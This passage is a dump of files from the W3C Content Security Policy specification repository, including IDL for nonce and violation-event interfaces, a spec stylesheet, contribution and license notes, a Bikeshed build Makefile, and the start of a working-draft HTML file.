class=\"idl-code\" data-link-type=\"interface\" href=\"https://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n\npartial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"https://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n\n[<a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor</a>(DOMString <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type</a>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict</a>)]\ninterface <a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a> : <a data-link-type=\"idl-name\" href=\"https://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n\ndictionary <a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> : <a data-link-type=\"idl-name\" href=\"https://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n\n</pre></body>\n</html>\n"
  },
  {
    "path": "2/published/default.css",
    "content": "/*\n * Style sheet for WebAppSec specifications (stolen wholesale from the CSSWG),\n * to be used in addition to http://www.w3.org/StyleSheets/TR/W3C-{WD,PR,REC}\n */\n\n@media print {\n\thtml { margin: 0 !important }\n\tbody { font-family: serif }\n\tth, td { font-family: inherit }\n\ta { color: inherit !important }\n\t.example:before { font-family: serif !important }\n\ta:link, a:visited { text-decoration: none !important }\n\ta:link:after, a:visited:after { /* create a cross-ref \"see...\" */ }\n}\n@page {\n\tmargin: 1.5cm 1.1cm;\n}\n\nbody {\n\tcounter-reset: exampleno figure issue;\n\tmax-width: 50em;\n\tmargin: 0 auto !important;\n}\n\n/* Pagination */\nh1, h2, h3, h4, h5, h6 { page-break-after: avoid }\nfigure, div.figure, div.sidefigure, pre, table.propdef, table.propdef-extra,\n.example { page-break-inside: avoid }\ndt { page-break-after: avoid }\n\nspan.id {float: right; font-weight: bold}\n\n/* General Structural Markup */\nh2, h3, h5, h6 { margin-top: 3em; }\n\n/* #subtitle is a subtitle in an H2 under the H1 */\nh1 + h2, #subtitle + h2 { margin-top: 0; }\n\nh4 { margin-top: 4em; }\n\nh2 + h3, h3 + h4, h4 + h5, h5 + h6 { margin-top: 1.2em }\n\nhr:not([title]) {\n\tfont-size: 1.5em;\n\ttext-align: center;\n\tmargin: 1em auto;\n\tborder: transparent solid;\n\tbackground: transparent;\n}\nhr:not([title])::before {\n\tcontent: \"\\1F411\\2003\\2003\\1F411\\2003\\2003\\1F411\";\n}\n\np, div.note, div.issue, details.why {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\ndd > p:first-child, li > p:first-child, .note > p:first-child, .issue > p:first-child {\n\tmargin-top: 0\n}\n\npre {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\npre, code {\n\tfont-family: Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n\tfont-size: .9em;\n}\n\nimg {\n\tborder-style: none;\n\tcolor: white;\n}\n.toc {\n}\n\nbody {\n\tline-height: 1.5;\n}\n\na.logo:link, a.logo:visited {\n\tpadding: 0;\n\tborder-style: none;\n}\n\ndl dd { margin: 0 0 1em 2em }\n.head dd { margin-bottom: 0; }\nul, ol { margin-left: 0; padding-left: 2em; }\nli { margin: 0.25em 2em 0.5em 0; padding-left: 0 }\n\nul.indexlist { margin-left: 0; columns: 13em; }\nul.indexlist li { margin-left: 0; list-style: none }\nul.indexlist li li { margin-left: 1em }\nul.indexlist a { font-weight: bold; }\nul.indexlist ul, ul.indexlist dl { font-size: smaller; }\nul.indexlist dl { margin-top: 0; }\nul.indexlist dt { margin: .2em 0 .2em 20px;}\nul.indexlist dd { margin: .2em 0 .2em 40px;}\n\n/* .self-link is a link to the element */\n.heading, .issue, .note, .example, li, dt { position: relative; }\na.self-link {\n\tposition: absolute;\n\ttop: 0;\n\tleft: -2.5em;\n\twidth: 2em;\n\theight: 2em;\n\ttext-align: center;\n\tborder: none;\n\ttransition: opacity .2s;\n\topacity: .5;\n}\na.self-link:hover {\n\topacity: 1;\n}\n.heading > a.self-link {\n\tfont-size: 83%;\n}\nli > a.self-link {\n\tleft: -3.5em;\n}\ndfn > a.self-link {\n\ttop: auto;\n\tleft: auto;\n\topacity: 0;\n\twidth: 1.5em;\n\theight: 1.5em;\n\tbackground: gray;\n\tcolor: white;\n\tfont-style: normal;\n\ttransition: opacity .2s, background-color .2s, color .2s;\n}\ndfn:hover > a.self-link {\n\topacity: 1;\n}\ndfn > a.self-link:hover {\n\tcolor: black;\n}\n\na.self-link::before { content: \"¶\"; }\n.heading > a.self-link::before { content: \"§\"; }\ndfn > a.self-link::before { content: \"#\"; }\n\n/* Examples */\n\n.example {\n\tcounter-increment: exampleno;\n}\n.example:before {\n\tcontent: \"Example\";\n\tcontent: \"Example \" counter(exampleno);\n\tmin-width: 7.5em;\n\ttext-transform: uppercase;\n\tdisplay: block;\n}\ndiv.illegal-example:before, pre.illegal-example:before {\n\tcontent: \"Invalid Example\";\n\tcontent: \"Invalid Example\" counter(exampleno);\n}\n.example, .illegal-example, div.html, div.illegal-html, div.xml,\ndiv.illegal-xml, pre.html,\npre.illegal-html, pre.xml, pre.illegal-xml {\n\tpadding: 0.5em;\n\tmargin: 1em 0;\n\tposition: relative;\n\tclear: both;\n}\npre.example, pre.illegal-example, pre.html,\npre.illegal-html, pre.xml, pre.illegal-xml {\n\tpadding-top: 1.5em;\n}\npre.illegal-example { color: red }\ndiv.illegal-example { color: red }\ndiv.illegal-example p { color: black }\n\ndiv.html { color: #600 }\npre.html { color: #600 }\npre.illegal-html { color: red }\ndiv.illegal-html { color: red }\ndiv.illegal-html p { color: black }\npre.deprecated-html { color: red }\ndiv.deprecated-html { color: red }\ndiv.deprecated-html p { color: black }\n\ndiv.xml { color: #600 }\npre.xml { color: #600 }\npre.illegal-xml { color: red }\ndiv.illegal-xml { color: red }\ndiv.illegal-xml p { color: black }\n\n.css, .property { color: #005a9c }\t\t/* inline CSS code (SPAN/CODE) */\ncode.css { font-family: inherit; font-size: 100% }\ncode.html { color: #600 }\t/* inline HTML */\ncode.xml { color: #600 }\t/* inline XML */\n.property { font: inherit; white-space: nowrap; }\t/* name of a CSS property (SPAN) */\n.descriptor { }\t\t\t/* name of a CSS descriptor (SPAN) */\n.type { font-style: italic }\t/* A <type> value for a property */\n\n/* Autolinks produced using Bikeshed. */\n[data-link-type=\"property\"]::before,\n[data-link-type=\"propdesc\"]::before,\n[data-link-type=\"descriptor\"]::before,\n[data-link-type=\"value\"]::before,\n[data-link-type=\"function\"]::before,\n[data-link-type=\"at-rule\"]::before,\n[data-link-type=\"selector\"]::before,\n[data-link-type=\"maybe\"]::before {content: \"\\2018\";}\n[data-link-type=\"property\"]::after,\n[data-link-type=\"propdesc\"]::after,\n[data-link-type=\"descriptor\"]::after,\n[data-link-type=\"value\"]::after,\n[data-link-type=\"function\"]::after,\n[data-link-type=\"at-rule\"]::after,\n[data-link-type=\"selector\"]::after,\n[data-link-type=\"maybe\"]::after {content: \"\\2019\";}\n[data-link-type].production::before,\n[data-link-type].production::after,\n.prod [data-link-type]::before,\n.prod [data-link-type]::after { content: \"\"; }\n\n\n/* Element-type link styling */\n[data-link-type=element] { font-family: monospace; }\n[data-link-type=element]::before { content: \"<\" }\n[data-link-type=element]::after { content: \">\" }\n\ndfn { font-weight: bolder; }\n\n.issue, .note, .example, .why {\n\tpadding: .5em;\n\t/* padding: .5rem; /* proposed unit in css3-values */\n\tborder-left-width: .5em;\n\t/* border-left-width: .5rem; /* proposed unit in css3-values */\n\tborder-left-style: solid;\n}\nspan.note, span.issue {\n\tpadding: .1em .5em .15em;\n\tborder-right-width: .5em;\n\tborder-right-style: solid;\n}\n\n/* Open issue / editorial remark; not intended for a final publication */\n.issue {\n\tborder-color: #E05252;\n\tbackground: #FBE9E9;\n\tcounter-increment: issue;\n\toverflow: auto;\n}\n\n.issue:before {\n\tcontent: \"Issue \" counter(issue);\n\tpadding-right: 1em;\n\ttext-transform: uppercase;\n\tcolor: #E05252;\n}\n\n/* Class note is a non-normative note. May be inline or a P or DIV */\n.note, .why {\n\tborder-color: #52E052;\n\tbackground: #E9FBE9;\n\toverflow: auto;\n}\n\n.normref { color: red }\n.informref { color: green }\n\n/* Example box */\n.example {\n\tborder-color: #E0CB52;\n\tbackground: #FCFAEE;\n\toverflow: auto;\n}\n\n.example:before {\n\tcolor: #B9AB2D;\n\tfont-family: sans-serif;\n}\n\ndetails.why {\n\tborder-color: #52E052;\n\tbackground: #E9FBE9;\n\tdisplay: block;\n}\n\ndetails.why > summary {\n\tfont-style: italic;\n\tdisplay: block;\n}\n\ndetails.why[open] > summary {\n\tborder-bottom: 1px silver solid;\n}\n\n/* ToC not indented, but font style shows hierarchy */\nul.toc {margin: 1em 0; padding: 0; line-height: 1.3; font-weight: bold; /*text-transform: uppercase;*/ }\nul.toc ul {margin: 0; padding: 0; font-weight: normal; text-transform: none; }\nul.toc ul ul {margin: 0 0 0 2em; font-style: italic; }\nul.toc ul ul ul {margin: 0}\nul.toc > li {margin: 1.5em 0; padding: 0; }\nul.toc ul.toc li { margin: 0.3em 0 0 0; }\nul.toc a { text-decoration: none; border-bottom-style: none; }\nul.toc a:hover, ul.toc a:focus { border-bottom-style: solid; }\n/*\nul.toc li li li, ul.toc li li li ul {margin-left: 0; display: inline}\nul.toc li li li ul, ul.toc li li li ul li {margin-left: 0; display: inline}\n*/\n\n/* Section numbers in a column of their own */\nul.toc span.secno {float: left; width: 4em; margin-left: -5em}\nul.toc ul ul span.secno { margin-left: -7em; }\n/*ul.toc span.secno {text-align: right}*/\nul.toc li {clear: both}\nul.toc {margin-left: 5em}\n/* If we had 'tab', floats would not be needed here:\n\t ul.toc span.secno {tab: 5em right; margin-right: 1em}\n\t ul.toc li {text-indent: 5em hanging}\n The second line in case items wrap\n*/\n\nul.index {\n\tlist-style: none;\n}\n\ns, del {text-decoration: line-through; color: red}\nu, ins {text-decoration: underline; color: #080}\n\ndiv.figure, p.figure, div.sidefigure, figure {\n\ttext-align: center;\n\tmargin: 2.5em 0;\n}\ndiv.figure pre, div.sidefigure pre, figure pre {\n\ttext-align: left;\n\tdisplay: table;\n\tmargin: 1em auto;\n}\n.figure table, figure table {\n\tmargin: auto;\n}\ndiv.sidefigure, figure.sidefigure {\n\tfloat: right;\n\twidth: 50%;\n\tmargin: 0 0 0.5em 0.5em\n}\ndiv.figure img, div.sidefigure img, figure img,\ndiv.figure object, div.sidefigure object, figure object {\n\tdisplay: block;\n\tmargin: auto;\n\tmax-width: 100%\n}\np.caption, figcaption, caption {\n\ttext-align: center;\n\tfont-style: italic;\n\tfont-size: 90%;\n}\np.caption:before, figcaption:before {\n\tcontent: \"Figure \" counter(figure) \". \";\n\tfont-weight: bold;\n}\np.caption, figcaption {\n\tcounter-increment: figure;\n}\n\n/* DL list is indented, but figure inside it is not */\ndd { margin-left: 2em }\ndd div.figure, dd figure { margin-left: -2em }\n\nsup {\n\tvertical-align: super;\n\tfont-size: 80%\n}\n\n/* \"Equations\" (not real MathML, but simple HTML) are put in a\nblockquote and may have an equation number. We make sure the\nblockquote has enough margin on the right and then put the equation\nnumber there. */\n\nblockquote {\n\tmargin: 0.5em 4em 0.5em 2em;\n\ttext-indent: 0;\n}\n.eqno {\n\ttext-align: right;\n\tfloat: right;\n\twidth: 3em;\n\tmargin: 0 -4em 0 0;\n\tfont-weight: bold;\n\t/* background: silver; color: black; padding: 0.1em */\n}\n\ntable.equiv-table { border-spacing: 0; margin: 0.5em 0 }\ntable.equiv-table th, table.equiv-table td { padding: 0.3em }\ntable.equiv-table th { text-align: left }\n/* table.equiv-table th:first-child { text-align: right } */\ntable.equiv-table td, table.equiv-table th { border-bottom: thin solid #666 }\ntable.equiv-table { border-bottom: hidden }\ntable.equiv-table { empty-cells: show }\ntable.equiv-table caption { margin: 0.5em 0 0 0 }\n\n/* Style for table of properties */\ntable.proptable {\n\tfont-size: small;\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n\ttext-align: left;\n\tmargin: 1em 0;\n}\n\ntable.proptable td, table.proptable th {\n\tpadding: 0.4em;\n\ttext-align: center;\n}\n\ntable.proptable tr:hover td {\n\tbackground: #DEF;\n}\n\n\n/* Style for table that defines a property or a descriptor */\ntable.propdef, table.propdef-extra, table.descdef, table.definition-table {\n\tborder-spacing: 0;\n\tpadding: 0 1em 0.5em;\n\twidth: 100%;\n\ttable-layout: fixed;\n\tbackground: #DEF;\n\tmargin: 1.2em 0;\n\tborder-left: 0.5em solid #8CCBF2;\n}\n\ntable.propdef td, table.propdef-extra td, table.descdef td, table.definition-table td,\ntable.propdef th, table.propdef-extra th, table.descdef th, table.definition-table th {\n\tpadding: 0.5em;\n\tvertical-align: baseline;\n\tborder-bottom: 1px solid #bbd7e9;\n}\n/*\ntable.propdef dfn, table.propdef-extra dfn, table.descdef dfn {\n\tfont-weight: bold;\n\tfont-style: normal\n}\n*/\n\ntable.propdef td:first-child,\ntable.propdef-extra td:first-child,\ntable.descdef td:first-child,\ntable.definition-table td:first-child,\ntable.propdef th:first-child,\ntable.propdef-extra th:first-child,\ntable.descdef th:first-child,\ntable.definition-table th:first-child {\n\tfont-style: italic;\n\tfont-weight: normal;\n\twidth: 8.3em;\n\tpadding-left: 1em;\n}\ntable.propdef td[colspan]:first-child,\ntable.propdef-extra td[colspan]:first-child,\ntable.descdef td[colspan]:first-child,\ntable.definition-table td[colspan]:first-child,\ntable.propdef th[colspan]:first-child,\ntable.propdef-extra th[colspan]:first-child,\ntable.descdef th[colspan]:first-child,\ntable.definition-table th[colspan]:first-child {\n\tfont-style: inherit\n}\ntable.propdef tr:first-child,\ntable.propdef-extra tr:first-child,\ntable.descdef tr:first-child,\ntable.definition-table tr:first-child {\n\n}\n\ntable.propdef > tbody > tr:last-child th,\ntable.propdef-extra > tbody > tr:last-child th,\ntable.descdef > tbody > tr:last-child th,\ntable.definition-table > tbody > tr:last-child th,\ntable.propdef > tbody > tr:last-child td,\ntable.propdef-extra > tbody > tr:last-child td,\ntable.descdef > tbody > tr:last-child td,\ntable.definition-table > tbody > tr:last-child td {\n\tborder-bottom: 0;\n}\n\ntable.propdef tr:first-child th,\ntable.propdef-extra tr:first-child th,\ntable.descdef tr:first-child th,\ntable.definition-table tr:first-child th,\ntable.propdef tr:first-child td,\ntable.propdef-extra tr:first-child td,\ntable.descdef tr:first-child td,\ntable.definition-table tr:first-child td {\n\tpadding-top: 1em;\n}\n\n/* For when values are extra-complex and need formatting for readability */\ntable td.pre {\n\twhite-space: pre-wrap;\n}\n\n/* A footnote at the bottom of a propdef */\ntable.propdef td.footnote,\ntable.propdef-extra td.footnote,\ntable.descdef td.footnote,\ntable.definition-table td.footnote {\n\tpadding-top: 0.6em;\n\twidth: auto\n}\ntable.propdef td.footnote:before,\ntable.propdef-extra td.footnote:before,\ntable.descdef td.footnote:before,\ntable.definition-table td.footnote:before {\n\tcontent: \" \";\n\tdisplay: block;\n\theight: 0.6em;\n\twidth: 4em;\n\tborder-top: thin solid;\n}\n\n/* The link in the first column in the property table (formerly a TD) */\ntable.proptable td .property,\ntable.proptable th .property {\n\tdisplay: block;\n\ttext-align: left;\n\tfont-weight: bold;\n}\n\n\n/* Styling for IDL fragments */\n\npre.idl {\n\tpadding: .5em 1em;\n\tbackground: #DEF;\n\tmargin: 1.2em 0;\n\tborder-left: 0.5em solid #8CCBF2;\n}\npre.idl :link, pre.idl :visited {\n\tcolor:inherit;\n\tbackground:transparent;\n}\n\n\n/* CSS modules typically don't use MUST, SHOULD etc. from RFC 2119,\nor, if they do, they don't put them in uppercase. But the following\nclass is provided in case a spec wants to use RFC 2119 terms in\nuppercase in the source. */\n\nem.rfc2119 {\n\ttext-transform: lowercase;\n\tfont-variant: small-caps;\n\tfont-style: normal\n}\n\n/* In Profile specs, a table of required features: */\n\ntable.features th {\n\tbackground: #00589f;\n\tcolor: #fff;\n\ttext-align: left;\n\tpadding: 0.2em 0.2em 0.2em 0.5em;\n}\ntable.features td {\n\tvertical-align: top;\n\tborder-bottom: 1px solid #ccc;\n\tpadding: 0.3em 0.3em 0.3em 0.7em;\n}\n\n\n/* Style for data tables (and properly marked-up proptables) */\n\n.data, .proptable {\n\tmargin: 1em auto;\n\tborder-collapse: collapse;\n\twidth: 100%;\n\tborder: hidden;\n}\n.data {\n\ttext-align: center;\n\twidth: auto;\n}\n.data caption {\n\twidth: 100%;\n}\n\n.data td, .data th,\n.proptable td, .proptable th {\n\tpadding: 0.5em;\n\tborder-width: 1px;\n\tborder-color: silver;\n\tborder-top-style: solid;\n}\n\n.data thead td:empty {\n\tpadding: 0;\n\tborder: 0;\n}\n\n.data thead th[scope=\"row\"],\n.proptable thead th[scope=\"row\"] {\n\ttext-align: right;\n\tcolor: inherit;\n}\n\n.data thead,\n.proptable thead,\n.data tbody,\n.proptable tbody {\n\tcolor: inherit;\n\tborder-bottom: 2px solid;\n}\n\n.data colgroup {\n\tborder-left: 2px solid;\n}\n\n.data tbody th:first-child,\n.proptable tbody th:first-child ,\n.data tbody td[scope=\"row\"]:first-child,\n.proptable tbody td[scope=\"row\"]:first-child {\n\ttext-align: right;\n\tcolor: inherit;\n\tborder-right: 2px solid;\n\tborder-top: 1px solid silver;\n\tpadding-right: 1em;\n}\n.data.define td:last-child {\n\ttext-align: left;\n}\n\n.data tbody th[rowspan],\n.proptable tbody th[rowspan],\n.data tbody td[rowspan],\n.proptable tbody td[rowspan]{\n\tborder-left: 1px solid silver;\n}\n\n.data tbody th[rowspan]:first-child,\n.proptable tbody th[rowspan]:first-child,\n.data tbody td[rowspan]:first-child,\n.proptable tbody td[rowspan]:first-child{\n\tborder-left: 0;\n\tborder-right: 1px solid silver;\n}\n\n.complex.data th,\n.complex.data td {\n\tborder: 1px solid silver;\n}\n\n.data td.long {\n vertical-align: baseline;\n text-align: left;\n}\n\n.data img {\n\tvertical-align: middle;\n}\n\ntable.propdef {\n\ttable-layout: auto;\n}\n.propdef th {\n\tfont-style: italic;\n\tfont-weight: normal;\n\ttext-align: left;\n\twidth: 3em;\n}\ndt dfn code {\n\tfont-size: inherit;\n}\n\n/* Style for switch/case <dl>s */\ndl.switch {\n padding-left: 2em;\n}\ndl.switch > dt {\n text-indent: -1.5em;\n}\ndl.switch > dt:before {\n content: '\\21AA';\n padding: 0 0.5em 0 0;\n display: inline-block;\n width: 1em;\n text-align: right;\n line-height: 0.5em;\n}\n\n\n/* Style for At Risk features (intended as editorial aid, not intended for publishing) */\n.atrisk::before {\n position: absolute;\n margin-left: -5em;\n margin-top: -2px;\n padding: 4px;\n border: 1px solid;\n content: 'At risk';\n font-size: small;\n background-color: white;\n color: gray;\n border-radius: 1em;\n text-align: center;\n}\n\n.toc .atrisk::before { content:none }\n\n\n/* This is mostly to make the list inside the CR exit criteria more compact. */\nol.inline, ol.inline li {display: inline; padding: 0; margin: 0}\nol.inline {counter-reset: list-item}\nol.inline li {counter-increment: list-item}\nol.inline li:before {content: \"(\" counter(list-item) \") \"; font-weight: bold}\n\n/* This styles the obsoletion notice on some of our older/abandoned specs. */\ndetails.annoying-warning[open] {\n\tbackground: #fdd;\n\tcolor: red;\n\tfont-weight: bold;\n\ttext-align: center;\n\tpadding: .5em;\n\tborder: thick solid red;\n\tborder-radius: 1em;\n\tposition: fixed;\n\tleft: 1em;\n\tright: 1em;\n\tbottom: 1em;\n\tz-index: 1000;\n}\n\ndetails.annoying-warning:not([open]) > summary {\n\tbackground: #fdd;\n\tcolor: red;\n\tfont-weight: bold;\n\ttext-align: center;\n\tpadding: .5em;\n}\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Code of Conduct\n\nAll documentation, code and communication under this repository are covered by the [W3C Code of Ethics and Professional Conduct](https://www.w3.org/Consortium/cepc/).\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "Contributions to this repository are intended to become part of Recommendation-track documents governed by the\n[W3C Patent Policy](https://www.w3.org/Consortium/Patent-Policy/) and\n[Software and Document License](https://www.w3.org/Consortium/Legal/copyright-software). To make substantive contributions to specifications, you must either participate\nin the relevant W3C Working Group or make a non-member patent licensing commitment.\n\nIf you are not the sole contributor to a contribution (pull request), please identify all\ncontributors in the pull request comment.\n\nTo add a contributor (other than yourself, that's automatic), mark them one per line as follows:\n\n```\n+@github_username\n```\n\nIf you added a contributor by mistake, you can remove them in a comment with:\n\n```\n-@github_username\n```\n\nIf you are making a pull request on behalf of someone else but you had no part in designing the\nfeature, you can remove yourself with the above syntax.\n\n# Tests\n\nSee [CONTRIBUTING.md](https://github.com/w3c/webappsec/blob/master/CONTRIBUTING.md).\n"
  },
  {
    "path": "LICENSE.md",
    "content": "All documents in this Repository are licensed by contributors\nunder the \n[W3C Software and Document License](https://www.w3.org/Consortium/Legal/copyright-software).\n\n"
  },
  {
    "path": "Makefile",
    "content": "SHELL=/bin/bash\n\nall: index.html ./api/index.html ./cookies/index.html ./pinning/index.html\n\nforce:\n\tbikeshed -f spec ./index.bs\n\tbikeshed -f spec ./api/index.bs\n\tbikeshed -f spec ./cookies/index.bs\n\tbikeshed -f spec ./pinning/index.bs\n\nindex.html: index.bs\n\tbikeshed -f spec ./index.bs\n\nFPWD:\n\tbikeshed -f spec --md-status=FPWD --md-date=2015-01-19 ./index.bs ./published/FPWD-2015-01.html\n\nWD:\n\tbikeshed -f spec --md-status=WD ./index.bs ./WD.html\n\napi/index.html: api/index.bs\n\tbikeshed -f spec ./api/index.bs\n\ncookies/index.html: cookies/index.bs\n\tbikeshed -f spec ./cookies/index.bs\n\npinning/index.html: pinning/index.bs\n\tbikeshed -f spec ./pinning/index.bs\n\nci: out/index.html\n\nout/index.html: index.bs\n\tmkdir -p out\n\t@ (HTTP_STATUS=$$(curl https://api.csswg.org/bikeshed/ \\\n\t                       --output $@ \\\n\t                       --write-out \"%{http_code}\" \\\n\t                       --header \"Accept: text/plain, text/html\" \\\n\t                       -F die-on=nothing \\\n\t                       -F file=@$<) && \\\n\t[[ \"$$HTTP_STATUS\" -eq \"200\" ]]) || ( \\\n\t\techo \"\"; cat $@; echo \"\"; \\\n\t\t$(RM) -r out; \\\n\t\texit 22 \\\n\t);\n\nclean:\n\t$(RM) -r out\n\t$(RM) index.html\n"
  },
  {
    "path": "README.md",
    "content": "Content Security Policy\n=======================\n\nCSP 3 is being specified in `index.bs` (published at <https://www.w3.org/TR/CSP3/>)\n\nCSP 2 is published as a CR at <https://www.w3.org/TR/CSP2/>.\n\nCSP 1 is published as a Note at <https://www.w3.org/TR/2012/CR-CSP-20121115/>\n"
  },
  {
    "path": "WD.html",
    "content": "<!doctype html><html lang=\"en\">\n <head>\n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  <meta content=\"width=device-width, initial-scale=1, shrink-to-fit=no\" name=\"viewport\">\n  <title>Content Security Policy Level 3</title>\n  <meta content=\"WD\" name=\"w3c-status\">\n  <link href=\"https://www.w3.org/StyleSheets/TR/2016/W3C-WD\" rel=\"stylesheet\" type=\"text/css\">\n  <meta content=\"Bikeshed version fbf1456a756299b3ff6d248d0857ec87f2e68cd7\" name=\"generator\">\n  <link href=\"https://www.w3.org/TR/CSP3/\" rel=\"canonical\">\n  <meta content=\"4ba38508fb23a7ba4517458ed1a8535879ad358f\" name=\"document-revision\">\n<style>\n  ul.toc ul ul ul {\n    margin: 0 0 0 2em;\n  }\n  ul.toc ul ul ul span.secno {\n    margin-left: -9em;\n  }\n\n  a[href^=\"http:\"]:after {\n    color: red;\n    content: \"🔓\";\n  }\n\n  .wip {\n    margin: 1em auto;\n\n    background: #FCFAEE;\n    border: 0.5em;\n    border-left-style: solid;\n    border-color: #E0CB52;\n    padding: 0.5em;\n  }\n\n  .wip::before {\n    content: \"Work In Progress: \";\n    display: block;\n    color: #827017;\n  }\n  section.wip {\n    padding-left: 2em;\n  }\n\n</style>\n<style>/* style-md-lists */\n\n/* This is a weird hack for me not yet following the commonmark spec\n   regarding paragraph and lists. */\n[data-md] > :first-child {\n    margin-top: 0;\n}\n[data-md] > :last-child {\n    margin-bottom: 0;\n}</style>\n<style>/* style-selflinks */\n\n.heading, .issue, .note, .example, li, dt {\n    position: relative;\n}\na.self-link {\n    position: absolute;\n    top: 0;\n    left: calc(-1 * (3.5rem - 26px));\n    width: calc(3.5rem - 26px);\n    height: 2em;\n    text-align: center;\n    border: none;\n    transition: opacity .2s;\n    opacity: .5;\n}\na.self-link:hover {\n    opacity: 1;\n}\n.heading > a.self-link {\n    font-size: 83%;\n}\nli > a.self-link {\n    left: calc(-1 * (3.5rem - 26px) - 2em);\n}\ndfn > a.self-link {\n    top: auto;\n    left: auto;\n    opacity: 0;\n    width: 1.5em;\n    height: 1.5em;\n    background: gray;\n    color: white;\n    font-style: normal;\n    transition: opacity .2s, background-color .2s, color .2s;\n}\ndfn:hover > a.self-link {\n    opacity: 1;\n}\ndfn > a.self-link:hover {\n    color: black;\n}\n\na.self-link::before            { content: \"¶\"; }\n.heading > a.self-link::before { content: \"§\"; }\ndfn > a.self-link::before      { content: \"#\"; }</style>\n<style>/* style-counters */\n\nbody {\n    counter-reset: example figure issue;\n}\n.issue {\n    counter-increment: issue;\n}\n.issue:not(.no-marker)::before {\n    content: \"Issue \" counter(issue);\n}\n\n.example {\n    counter-increment: example;\n}\n.example:not(.no-marker)::before {\n    content: \"Example \" counter(example);\n}\n.invalid.example:not(.no-marker)::before,\n.illegal.example:not(.no-marker)::before {\n    content: \"Invalid Example\" counter(example);\n}\n\nfigcaption {\n    counter-increment: figure;\n}\nfigcaption:not(.no-marker)::before {\n    content: \"Figure \" counter(figure) \" \";\n}</style>\n<style>/* style-autolinks */\n\n.css.css, .property.property, .descriptor.descriptor {\n    color: #005a9c;\n    font-size: inherit;\n    font-family: inherit;\n}\n.css::before, .property::before, 